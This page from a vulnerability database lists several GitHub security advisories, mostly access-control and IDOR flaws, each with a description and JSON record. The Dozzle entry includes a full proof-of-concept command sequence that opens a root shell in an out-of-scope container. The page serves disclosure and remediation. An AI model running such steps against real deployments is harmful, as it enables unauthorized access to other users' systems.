Vulnerability-Lookup

GHSA-M839-RVVG-G25R

Vulnerability from github – Published: 2024-02-13 03:30 – Updated: 2024-10-10 18:31

Details

Ellucian Banner 9.17 allows Insecure Direct Object Reference (IDOR) via a modified bannerId to the /StudentSelfService/ssb/studentCard/retrieveData endpoint.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2023-49339"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-13T01:15:08Z",
    "severity": "MODERATE"
  },
  "details": "Ellucian Banner 9.17 allows Insecure Direct Object Reference (IDOR) via a modified bannerId to the /StudentSelfService/ssb/studentCard/retrieveData endpoint.",
  "id": "GHSA-m839-rvvg-g25r",
  "modified": "2024-10-10T18:31:07Z",
  "published": "2024-02-13T03:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-49339"
    },
    {
      "type": "WEB",
      "url": "https://github.com/3zizme/CVE-2023-49339"
    },
    {
      "type": "WEB",
      "url": "https://www.ellucian.com/solutions/ellucian-banner"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M855-R557-5RC5

Vulnerability from github – Published: 2026-01-27 00:55 – Updated: 2026-01-29 03:40

Summary

Dozzle Agent Label-Based Access Control Bypass Allows Unauthorized Container Shell Access

Details

Summary

A flaw in Dozzle’s agent-backed shell endpoints allows a user restricted by label filters (for example, label=env=dev) to obtain an interactive root shell in out‑of‑scope containers (for example, env=prod) on the same agent host by directly targeting their container IDs.

Note: Tested on v9.0.2 likely affects all versions with agent mode support.

Details

When SIMPLE auth is enabled, Dozzle supports per‑user label filters in users.yaml (for example, filter: label=env=dev) to restrict which containers a user can see and interact with. These filters are propagated into the shell handlers, which resolve the target container via h.hostService.FindContainer(hostKey(r), id, userLabels) in both the attach and exec WebSocket endpoints, intending to limit shell access to containers within the user’s label scope.

For agent-backed hosts, the corresponding implementation ignores the label scope when resolving a container by ID (agent_service.go#L27-L29):

func (a *agentService) FindContainer(ctx context.Context, id string, labels container.ContainerLabels) (container.Container, error) {
    return a.client.FindContainer(ctx, id)
}

As a result, an authenticated user configured with filter: label=env=dev and granted the shell role cannot see env=prod containers in the UI, but can still establish an interactive exec session into an env=prod container by calling /api/hosts/{hostId}/containers/{containerId}/exec (or /attach) with a valid JWT and the target container ID. This discrepancy between listing and exec/attach behavior breaks the intended label‑based isolation between environments or tenants for agent-backed deployments.

Note: The underlying Docker client implementation explicitly documents that FindContainer skips filters (docker/client.go#L128-L137):

// Finds a container by id, skipping the filters
func (d *DockerClient) FindContainer(ctx context.Context, id string) (container.Container, error) {
    log.Debug().Str("id", id).Msg("Finding container")
    if json, err := d.cli.ContainerInspect(ctx, id); err == nil {
        return newContainerFromJSON(json, d.host.ID), nil
    } else {
        return container.Container{}, err
    }
}

Note: For reference, we can see the correct implementation in ListContainers (agent_service.go#L43-L46):

func (a *agentService) ListContainers(ctx context.Context, labels container.ContainerLabels) ([]container.Container, error) {
    log.Debug().Interface("labels", labels).Msg("Listing containers from agent")
    return a.client.ListContainers(ctx, labels)
}

PoC

# create new dir
$ cd /tmp && mkdir -p /tmp/dozzle && cd /tmp/dozzle && mkdir -p data

# run dozzle agent
$ docker run -d --name dozzle-agent \
  -v /var/run/docker.sock:/var/run/docker.sock:ro \
  -p 7007:7007 \
  amir20/dozzle:latest agent

# sleep
$ sleep 5

# run dev container
$ docker run -d --name dev-allowed --label env=dev alpine sleep 100000

# run prod container
$ docker run -d --name prod-secret --label env=prod alpine sleep 100000

# check containers status
$ docker ps --format "table {{.ID}}\t{{.Names}}\t{{.Label \"env\"}}" | grep -E 'dev-allowed|prod-secret'
3731627f4e2d   prod-secret    prod
51e6cffce99f   dev-allowed    dev

# get hash for pass:devpass
$ HASH=$(printf 'devpass' | sha256sum | awk '{print $1}')

# create dev user
$ cat > /tmp/dozzle/data/users.yaml << EOF
users:
  devuser:
    email: dev@example.com
    name: Dev User
    password: ${HASH}
    filter: "label=env=dev"
    roles: "shell"
EOF

# sanity check users 
$ cat /tmp/dozzle/data/users.yaml
users:
  devuser:
    email: dev@example.com
    name: Dev User
    password: fee39c23856e3d9dd500861a30903548b8878994291b2fef7fff2f53b3073c0c
    filter: "label=env=dev"
    roles: "shell"

# run main image
$ docker run -d --name dozzle-main \
  -v /tmp/dozzle/data:/data \
  -p 8080:8080 \
  -e DOZZLE_AUTH_PROVIDER=simple \
  -e DOZZLE_AUTH_TTL=48h \
  -e DOZZLE_ENABLE_SHELL=true \
  -e "DOZZLE_REMOTE_AGENT=host.docker.internal:7007" \
  amir20/dozzle:latest

# sleep
$ sleep 8

# get jwt token for devuser
$ curl -s -X POST http://localhost:8080/api/token \
  -d "username=devuser&password=devpass" \
  -c /tmp/dozzle/cookies.txt

# save the token
$ TOKEN=$(grep jwt /tmp/dozzle/cookies.txt | awk '{print $7}')

# in browser open http://localhost:8080 -> login with user:devuser pass:devpass -> grab host http://localhost:8080/host/cafb9ffc-ac34-47a6-985b-10ffea39610e
$ HOST_ID="cafb9ffc-ac34-47a6-985b-10ffea39610e"

# get prod cid
$ PROD_CID=$(docker ps --filter "name=prod-secret" --format '{{.ID}}')

# sanity check
$ echo $PROD_CID
3731627f4e2d

# install wscat
$ npm install -g wscat

# open wscat with token
$ wscat -c "ws://localhost:8080/api/hosts/${HOST_ID}/containers/${PROD_CID}/exec" \
  -H "Cookie: jwt=${TOKEN}"
Connected (press CTRL+C to quit)
< / # 
/ # 
> {"type":"userinput","data":"id\n"}
< id

< uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/ # 
> {"type":"userinput","data":"cat /etc/hostname\n"}
< cat /etc/hostname

< 3731627f4e2d

< / # 
> quit
Disconnected (code: 1006, reason: "")

As configured, devuser only sees dev-allowed in the Dozzle UI (due to filter: label=env=dev), but can still open a root shell in prod-secret via the agent-backed exec endpoint by supplying its container ID.

Impact

This is an authorization bypass in environments that rely on SIMPLE auth label filters together with agents to separate environments or tenants. A user who should be constrained to a specific label set (for example, env=dev) but has the Shell role can gain full interactive access (read, modify, disrupt) to containers with other labels (for example, env=prod) on the same agent host, provided they can obtain the target container ID.

Remediation

In the agent-backed FindContainer implementation, enforce the same label-based filtering semantics as the Docker/Kubernetes host implementations by ensuring the requested (host, containerId) is within the set returned by ListContainers for the caller’s userLabels before returning it to exec/attach.
Add regression tests verifying that a user with filter: label=env=dev and the Shell role cannot exec or attach into env=prod containers via the agent path, even when supplying a valid container ID.
As defense in depth, reject exec/attach requests when the resolved container is not present in the user-visible subset returned by the list API under the same label filter.

This issue has been fixed in version 9.0.3 but the Go registry only contains versions up to 1.29.0. Use Docker or GitHub to download 9.0.3.

Resources

https://dozzle.dev/guide/authentication#setting-specific-filters-for-users

Severity

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/amir20/dozzle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.29.1-0.20260125230338-620e59aa2463"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-24740"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-27T00:55:33Z",
    "nvd_published_at": "2026-01-27T21:16:03Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA flaw in Dozzle\u2019s agent-backed shell endpoints allows a user restricted by label filters (for example, `label=env=dev`) to obtain an interactive root shell in out\u2011of\u2011scope containers (for example, `env=prod`) on the same agent host by directly targeting their container IDs.\n\n**Note**: Tested on `v9.0.2` likely affects all versions with agent mode support.\n\n### Details\nWhen SIMPLE auth is enabled, Dozzle supports per\u2011user label filters in `users.yaml` (for example, filter: `label=env=dev`) to restrict which containers a user can see and interact with. These filters are propagated into the shell handlers, which resolve the target container via `h.hostService.FindContainer(hostKey(r), id, userLabels)` in both the attach and exec WebSocket endpoints, intending to limit shell access to containers within the user\u2019s label scope.\n\nFor agent-backed hosts, the corresponding implementation ignores the label scope when resolving a container by ID ([agent_service.go#L27-L29](https://github.com/amir20/dozzle/blob/master/internal/support/container/agent_service.go#L27-L29)):\n```go\nfunc (a *agentService) FindContainer(ctx context.Context, id string, labels container.ContainerLabels) (container.Container, error) {\n    return a.client.FindContainer(ctx, id)\n}\n```\n\nAs a result, an authenticated user configured with filter: `label=env=dev` and granted the shell role cannot see `env=prod` containers in the UI, but can still establish an interactive exec session into an `env=prod` container by calling `/api/hosts/{hostId}/containers/{containerId}/exec` (or `/attach`) with a valid JWT and the target container ID. This discrepancy between listing and exec/attach behavior breaks the intended label\u2011based isolation between environments or tenants for agent-backed deployments.\n\n**Note**: The underlying Docker client implementation explicitly documents that `FindContainer` skips filters ([docker/client.go#L128-L137](https://github.com/amir20/dozzle/blob/master/internal/docker/client.go#L128-L137)):\n```go\n// Finds a container by id, skipping the filters\nfunc (d *DockerClient) FindContainer(ctx context.Context, id string) (container.Container, error) {\n    log.Debug().Str(\"id\", id).Msg(\"Finding container\")\n    if json, err := d.cli.ContainerInspect(ctx, id); err == nil {\n        return newContainerFromJSON(json, d.host.ID), nil\n    } else {\n        return container.Container{}, err\n    }\n}\n```\n\n**Note**: For reference, we can see the correct implementation in `ListContainers` ([agent_service.go#L43-L46](https://github.com/amir20/dozzle/blob/master/internal/support/container/agent_service.go#L43-L46)):\n```go\nfunc (a *agentService) ListContainers(ctx context.Context, labels container.ContainerLabels) ([]container.Container, error) {\n\tlog.Debug().Interface(\"labels\", labels).Msg(\"Listing containers from agent\")\n\treturn a.client.ListContainers(ctx, labels)\n}\n```\n### PoC\n```bash\n# create new dir\n$ cd /tmp \u0026\u0026 mkdir -p /tmp/dozzle \u0026\u0026 cd /tmp/dozzle \u0026\u0026 mkdir -p data\n\n# run dozzle agent\n$ docker run -d --name dozzle-agent \\\n  -v /var/run/docker.sock:/var/run/docker.sock:ro \\\n  -p 7007:7007 \\\n  amir20/dozzle:latest agent\n\n# sleep\n$ sleep 5\n\n# run dev container\n$ docker run -d --name dev-allowed --label env=dev alpine sleep 100000\n\n# run prod container\n$ docker run -d --name prod-secret --label env=prod alpine sleep 100000\n\n# check containers status\n$ docker ps --format \"table {{.ID}}\\t{{.Names}}\\t{{.Label \\\"env\\\"}}\" | grep -E \u0027dev-allowed|prod-secret\u0027\n3731627f4e2d   prod-secret    prod\n51e6cffce99f   dev-allowed    dev\n\n# get hash for pass:devpass\n$ HASH=$(printf \u0027devpass\u0027 | sha256sum | awk \u0027{print $1}\u0027)\n\n# create dev user\n$ cat \u003e /tmp/dozzle/data/users.yaml \u003c\u003c EOF\nusers:\n  devuser:\n    email: dev@example.com\n    name: Dev User\n    password: ${HASH}\n    filter: \"label=env=dev\"\n    roles: \"shell\"\nEOF\n\n# sanity check users \n$ cat /tmp/dozzle/data/users.yaml\nusers:\n  devuser:\n    email: dev@example.com\n    name: Dev User\n    password: fee39c23856e3d9dd500861a30903548b8878994291b2fef7fff2f53b3073c0c\n    filter: \"label=env=dev\"\n    roles: \"shell\"\n\n# run main image\n$ docker run -d --name dozzle-main \\\n  -v /tmp/dozzle/data:/data \\\n  -p 8080:8080 \\\n  -e DOZZLE_AUTH_PROVIDER=simple \\\n  -e DOZZLE_AUTH_TTL=48h \\\n  -e DOZZLE_ENABLE_SHELL=true \\\n  -e \"DOZZLE_REMOTE_AGENT=host.docker.internal:7007\" \\\n  amir20/dozzle:latest\n\n# sleep\n$ sleep 8\n\n# get jwt token for devuser\n$ curl -s -X POST http://localhost:8080/api/token \\\n  -d \"username=devuser\u0026password=devpass\" \\\n  -c /tmp/dozzle/cookies.txt\n\n# save the token\n$ TOKEN=$(grep jwt /tmp/dozzle/cookies.txt | awk \u0027{print $7}\u0027)\n\n# in browser open http://localhost:8080 -\u003e login with user:devuser pass:devpass -\u003e grab host http://localhost:8080/host/cafb9ffc-ac34-47a6-985b-10ffea39610e\n$ HOST_ID=\"cafb9ffc-ac34-47a6-985b-10ffea39610e\"\n\n# get prod cid\n$ PROD_CID=$(docker ps --filter \"name=prod-secret\" --format \u0027{{.ID}}\u0027)\n\n# sanity check\n$ echo $PROD_CID\n3731627f4e2d\n\n# install wscat\n$ npm install -g wscat\n\n# open wscat with token\n$ wscat -c \"ws://localhost:8080/api/hosts/${HOST_ID}/containers/${PROD_CID}/exec\" \\\n  -H \"Cookie: jwt=${TOKEN}\"\nConnected (press CTRL+C to quit)\n\u003c / # \n/ # \n\u003e {\"type\":\"userinput\",\"data\":\"id\\n\"}\n\u003c id\n\n\u003c uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n/ # \n\u003e {\"type\":\"userinput\",\"data\":\"cat /etc/hostname\\n\"}\n\u003c cat /etc/hostname\n\n\u003c 3731627f4e2d\n\n\u003c / # \n\u003e quit\nDisconnected (code: 1006, reason: \"\")\n```\nAs configured, `devuser` only sees dev-allowed in the Dozzle UI (due to filter: `label=env=dev`), but can still open a root shell in prod-secret via the agent-backed exec endpoint by supplying its container ID.\n\n### Impact\nThis is an authorization bypass in environments that rely on SIMPLE auth label filters together with agents to separate environments or tenants. A user who should be constrained to a specific label set (for example, `env=dev`) but has the Shell role can gain full interactive access (**read**, **modify**, **disrupt**) to containers with other labels (for example, `env=prod`) on the same agent host, provided they can obtain the target container ID.\n\n### Remediation\n- In the agent-backed `FindContainer` implementation, enforce the same label-based filtering semantics as the Docker/Kubernetes host implementations by ensuring the requested (host, containerId) is within the set returned by `ListContainers` for the caller\u2019s `userLabels` before returning it to exec/attach.\n\n- Add regression tests verifying that a user with filter: `label=env=dev` and the Shell role cannot exec or attach into `env=prod` containers via the agent path, even when supplying a valid container ID.\n\n- As defense in depth, reject exec/attach requests when the resolved container is not present in the user-visible subset returned by the list API under the same label filter.\n\nThis issue has been fixed in version 9.0.3 but the Go registry only contains versions up to 1.29.0. Use Docker or GitHub to download \n9.0.3.\n\n### Resources\n- https://dozzle.dev/guide/authentication#setting-specific-filters-for-users",
  "id": "GHSA-m855-r557-5rc5",
  "modified": "2026-01-29T03:40:06Z",
  "published": "2026-01-27T00:55:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/amir20/dozzle/security/advisories/GHSA-m855-r557-5rc5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24740"
    },
    {
      "type": "WEB",
      "url": "https://github.com/amir20/dozzle/commit/620e59aa246347ba8a27e68c532853b8a5137bc1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/amir20/dozzle"
    },
    {
      "type": "WEB",
      "url": "https://github.com/amir20/dozzle/releases/tag/v9.0.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Dozzle Agent Label-Based Access Control Bypass Allows Unauthorized Container Shell Access"
}

GHSA-M8H7-PFF8-M5JQ

Vulnerability from github – Published: 2024-06-20 15:31 – Updated: 2025-11-04 18:31

Details

Kiuwan provides an API endpoint

/saas/rest/v1/info/application

to get information about any application, providing only its name via the "application" parameter. This endpoint lacks proper access control mechanisms, allowing other authenticated users to read information about applications, even though they have not been granted the necessary rights to do so.

This issue affects Kiuwan SAST: <master.1808.p685.q13371

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2023-49112"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-20T13:15:49Z",
    "severity": "MODERATE"
  },
  "details": "Kiuwan provides an API endpoint\n\n/saas/rest/v1/info/application\n\nto get information about any \napplication, providing only its name via the \"application\" parameter. This endpoint lacks proper access \ncontrol mechanisms, allowing other authenticated users to read \ninformation about applications, even though they have not been granted \nthe necessary rights to do so.\n\n\n\nThis issue affects Kiuwan SAST: \u003cmaster.1808.p685.q13371",
  "id": "GHSA-m8h7-pff8-m5jq",
  "modified": "2025-11-04T18:31:01Z",
  "published": "2024-06-20T15:31:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-49112"
    },
    {
      "type": "WEB",
      "url": "https://r.sec-consult.com/kiuwan"
    },
    {
      "type": "WEB",
      "url": "https://www.kiuwan.com/docs/display/K5/%5B2024-05-30%5D+Change+Log"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2024/Jun/3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M8HX-3Q8C-M23R

Vulnerability from github – Published: 2022-05-24 17:34 – Updated: 2022-05-24 17:34

Details

A vulnerability in the xAPI service of Cisco Telepresence CE Software and Cisco RoomOS Software could allow an authenticated, remote attacker to generate an access token for an affected device. The vulnerability is due to insufficient access authorization. An attacker could exploit this vulnerability by using the xAPI service to generate a specific token. A successful exploit could allow the attacker to use the generated token to enable experimental features on the device that should not be available to users.

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2020-26068"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-11-18T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in the xAPI service of Cisco Telepresence CE Software and Cisco RoomOS Software could allow an authenticated, remote attacker to generate an access token for an affected device. The vulnerability is due to insufficient access authorization. An attacker could exploit this vulnerability by using the xAPI service to generate a specific token. A successful exploit could allow the attacker to use the generated token to enable experimental features on the device that should not be available to users.",
  "id": "GHSA-m8hx-3q8c-m23r",
  "modified": "2022-05-24T17:34:27Z",
  "published": "2022-05-24T17:34:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-26068"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-tp-uathracc-jWNESUfM"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-M8PW-9FX4-MVPR

Vulnerability from github – Published: 2025-10-16 09:30 – Updated: 2025-10-21 15:30

Details

Insecure direct object reference (IDOR) vulnerability in Sergestec's Exito v8.0. This vulnerability allows an attacker to access data belonging to other customers through the 'id' parameter in '/admin/ticket_a4.php'.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

7.1 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-41020"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-16T08:15:35Z",
    "severity": "HIGH"
  },
  "details": "Insecure direct object reference (IDOR) vulnerability in Sergestec\u0027s Exito v8.0. This vulnerability allows an attacker to access data belonging to other customers through the \u0027id\u0027 parameter in \u0027/admin/ticket_a4.php\u0027.",
  "id": "GHSA-m8pw-9fx4-mvpr",
  "modified": "2025-10-21T15:30:56Z",
  "published": "2025-10-16T09:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-41020"
    },
    {
      "type": "WEB",
      "url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-sergestec-products"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-M98R-6667-4WQ7

Vulnerability from github – Published: 2026-05-07 01:49 – Updated: 2026-05-14 20:53

Summary

Aegra has cross-user run injection in /threads/{thread_id}/runs (IDOR)

Details

Impact

Aegra deployments running 0.9.0 through 0.9.6 with multiple authenticated users on a shared instance are vulnerable to a cross-tenant IDOR. Any authenticated user (User A), given another user's thread_id (User B), can:

Execute graph runs against User B's thread via POST /threads/{thread_id}/runs, POST /threads/{thread_id}/runs/stream, or POST /threads/{thread_id}/runs/wait
Read User B's full checkpoint state via the resulting run's output field
Inject arbitrary messages into User B's conversation history (persisted in B's checkpoint)
Hide their activity from User B's GET /threads/{thread_id}/runs listing because the run carries A's user_id

The streaming variant is worse — the first SSE event: values frame returns the entire prior messages array immediately on connection, no graph execution needed.

Thread IDs are UUIDs but leak through frontend URLs, server logs, observability traces, and shared links. Guessing is not required.

Patches

Fixed in 0.9.7. The three affected endpoints now perform an SQL-level user_id == authenticated_user.identity check before calling _prepare_run. When the thread exists but is owned by another user, the response is 404 Thread not found (matching the read-side pattern) to avoid leaking thread existence.

Workarounds

If upgrade is not immediately possible, register an @auth.on("threads", "create_run") handler that explicitly verifies thread ownership against the authenticated identity before allowing the operation. Without a handler, no built-in authorization runs on these write paths.

Example mitigation handler:

from langgraph_sdk import Auth

auth = Auth()

@auth.on("threads", "create_run")
async def enforce_thread_owner(ctx: Auth.types.AuthContext, value: dict):
    # Look up the thread, raise 404 if not owned by ctx.user.identity.
    # Implementation depends on your data layer.
    ...

Root cause

Aegra's authorization model delegates per-resource policy to user-defined @auth.on handlers. When no handler is registered, handle_event(...) returns None and the request proceeds (default-allow). Read endpoints in api/threads.py add a defense-in-depth user_id filter at the SQL layer, but the run-creation endpoints in api/runs.py skipped that filter. Result: out-of-the-box deployments without custom auth handlers were vulnerable.

Affected endpoints

POST /threads/{thread_id}/runs
POST /threads/{thread_id}/runs/stream
POST /threads/{thread_id}/runs/wait

Stateless variants (POST /runs, POST /runs/wait, POST /runs/stream) are NOT affected — they generate a fresh thread_id server-side and never accept a caller-supplied one.

Credits

@JoJoTheBizarre — discovered and reported the vulnerability with a precise reproducer (#336)
@victorjmarin and @jawhardjebbi — wrote the fix and added test coverage at unit, integration, and manual-auth e2e levels (#337)

Resources

Issue: https://github.com/aegra/aegra/issues/336
Fix PR: https://github.com/aegra/aegra/pull/337
Release: https://github.com/aegra/aegra/releases/tag/v0.9.7

Severity

8.6 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "aegra-api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.9.0"
            },
            {
              "fixed": "0.9.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44504"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T01:49:51Z",
    "nvd_published_at": "2026-05-14T16:16:24Z",
    "severity": "HIGH"
  },
  "details": "## Impact\n\nAegra deployments running 0.9.0 through 0.9.6 with multiple authenticated users on a shared instance are vulnerable to a cross-tenant IDOR. Any authenticated user (User A), given another user\u0027s `thread_id` (User B), can:\n\n- Execute graph runs against User B\u0027s thread via `POST /threads/{thread_id}/runs`, `POST /threads/{thread_id}/runs/stream`, or `POST /threads/{thread_id}/runs/wait`\n- Read User B\u0027s full checkpoint state via the resulting run\u0027s `output` field\n- Inject arbitrary messages into User B\u0027s conversation history (persisted in B\u0027s checkpoint)\n- Hide their activity from User B\u0027s `GET /threads/{thread_id}/runs` listing because the run carries A\u0027s `user_id`\n\nThe streaming variant is worse \u2014 the first SSE `event: values` frame returns the entire prior `messages` array immediately on connection, no graph execution needed.\n\nThread IDs are UUIDs but leak through frontend URLs, server logs, observability traces, and shared links. Guessing is not required.\n\n## Patches\n\nFixed in **0.9.7**. The three affected endpoints now perform an SQL-level `user_id == authenticated_user.identity` check before calling `_prepare_run`. When the thread exists but is owned by another user, the response is `404 Thread not found` (matching the read-side pattern) to avoid leaking thread existence.\n\n## Workarounds\n\nIf upgrade is not immediately possible, register an `@auth.on(\"threads\", \"create_run\")` handler that explicitly verifies thread ownership against the authenticated identity before allowing the operation. Without a handler, no built-in authorization runs on these write paths.\n\nExample mitigation handler:\n\n```python\nfrom langgraph_sdk import Auth\n\nauth = Auth()\n\n@auth.on(\"threads\", \"create_run\")\nasync def enforce_thread_owner(ctx: Auth.types.AuthContext, value: dict):\n    # Look up the thread, raise 404 if not owned by ctx.user.identity.\n    # Implementation depends on your data layer.\n    ...\n```\n\n## Root cause\n\nAegra\u0027s authorization model delegates per-resource policy to user-defined `@auth.on` handlers. When no handler is registered, `handle_event(...)` returns `None` and the request proceeds (default-allow). Read endpoints in `api/threads.py` add a defense-in-depth `user_id` filter at the SQL layer, but the run-creation endpoints in `api/runs.py` skipped that filter. Result: out-of-the-box deployments without custom auth handlers were vulnerable.\n\n## Affected endpoints\n\n- `POST /threads/{thread_id}/runs`\n- `POST /threads/{thread_id}/runs/stream`\n- `POST /threads/{thread_id}/runs/wait`\n\nStateless variants (`POST /runs`, `POST /runs/wait`, `POST /runs/stream`) are NOT affected \u2014 they generate a fresh `thread_id` server-side and never accept a caller-supplied one.\n\n## Credits\n\n- @JoJoTheBizarre \u2014 discovered and reported the vulnerability with a precise reproducer (#336)\n- @victorjmarin and @jawhardjebbi \u2014 wrote the fix and added test coverage at unit, integration, and manual-auth e2e levels (#337)\n\n## Resources\n\n- Issue: https://github.com/aegra/aegra/issues/336\n- Fix PR: https://github.com/aegra/aegra/pull/337\n- Release: https://github.com/aegra/aegra/releases/tag/v0.9.7",
  "id": "GHSA-m98r-6667-4wq7",
  "modified": "2026-05-14T20:53:21Z",
  "published": "2026-05-07T01:49:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/aegra/aegra/security/advisories/GHSA-m98r-6667-4wq7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44504"
    },
    {
      "type": "WEB",
      "url": "https://github.com/aegra/aegra/issues/336"
    },
    {
      "type": "WEB",
      "url": "https://github.com/aegra/aegra/pull/337"
    },
    {
      "type": "WEB",
      "url": "https://github.com/aegra/aegra/commit/e1b2042254fd49072ca281bc35b3f2a3bed74b31"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/aegra/aegra"
    },
    {
      "type": "WEB",
      "url": "https://github.com/aegra/aegra/releases/tag/v0.9.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Aegra has cross-user run injection in /threads/{thread_id}/runs (IDOR)"
}

GHSA-M9CH-6HH2-GC9W

Vulnerability from github – Published: 2023-03-27 18:30 – Updated: 2023-03-31 15:30

Details

The Formidable Forms WordPress plugin before 6.1 uses several potentially untrusted headers to determine the IP address of the client, leading to IP Address spoofing and bypass of anti-spam protections.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2023-0816"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290",
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-03-27T16:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The Formidable Forms WordPress plugin before 6.1 uses several potentially untrusted headers to determine the IP address of the client, leading to IP Address spoofing and bypass of anti-spam protections.",
  "id": "GHSA-m9ch-6hh2-gc9w",
  "modified": "2023-03-31T15:30:18Z",
  "published": "2023-03-27T18:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-0816"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/a281f63f-e295-4666-8a08-01b23cd5a744"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

